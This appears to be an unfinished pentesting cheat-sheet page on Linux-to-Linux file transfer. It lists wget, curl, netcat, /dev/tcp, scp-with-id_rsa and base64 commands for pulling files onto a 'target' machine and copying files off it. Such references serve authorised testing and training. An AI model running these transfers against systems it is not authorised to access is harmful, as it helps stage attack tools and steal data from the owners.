TLDRBins TLDRBins / File Transfer (Linux To Linux)


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

# Start a local HTTP server python3 -m http.server <LOCAL_PORT>
Sample Output: TO-DO
# In target Linux machine wget <LOCAL_IP>:<LOCAL_PORT>/<FILE>
Sample Output: TO-DO
# In target Linux machine curl <LOCAL_IP>:<LOCAL_PORT>/<FILE> -o <REMOTE_DEST_PATH>
Sample Output: TO-DO
# In our local Linux machine nc -lvnp <LOCAL_PORT> < <FILE>
Sample Output: TO-DO
# In target Linux machine nc -w3 <LOCAL_IP> <LOCAL_PORT> > <FILE>
Sample Output: TO-DO

Remote to Local

# With password scp <USER>@<TARGET>:<REMOTE_FILE_PATH> <LOCAL_DEST_PATH>
Sample Output: TO-DO
# With id_rsa scp -i id_rsa <USER>@<TARGET>:<REMOTE_FILE_PATH> <LOCAL_DEST_PATH>
Sample Output: TO-DO

Local to Remote

# With password scp <LOCAL_FILE_PATH> <USER>@<TARGET>:<REMOTE_DEST_PATH>
Sample Output: TO-DO
# With id_rsa scp -i id_rsa <LOCAL_FILE_PATH> <USER>@<TARGET>:<REMOTE_DEST_PATH>
Sample Output: TO-DO

Local to Remote

# In our local Linux machine cat <FILE> | nc -lnvp <LOCAL_PORT>
Sample Output: TO-DO
# In target Linux machine exec 3<>/dev/tcp/<LOCAL_IP>/<LOCAL_PORT>
Sample Output: TO-DO
# Ctrl+C to interrupt after some time cat <&3 > <FILE>
Sample Output: TO-DO
# Check md5sum <FILE>
Sample Output: TO-DO

Small binary

# Base64 encode binary cat <FILE> | base64 -w0
Sample Output: TO-DO
# Copy and paste the base64 encoded binary echo -n '<BASE64_FILE>' | base64 -d > <FILE>
Sample Output: TO-DO

Note: For restricted environment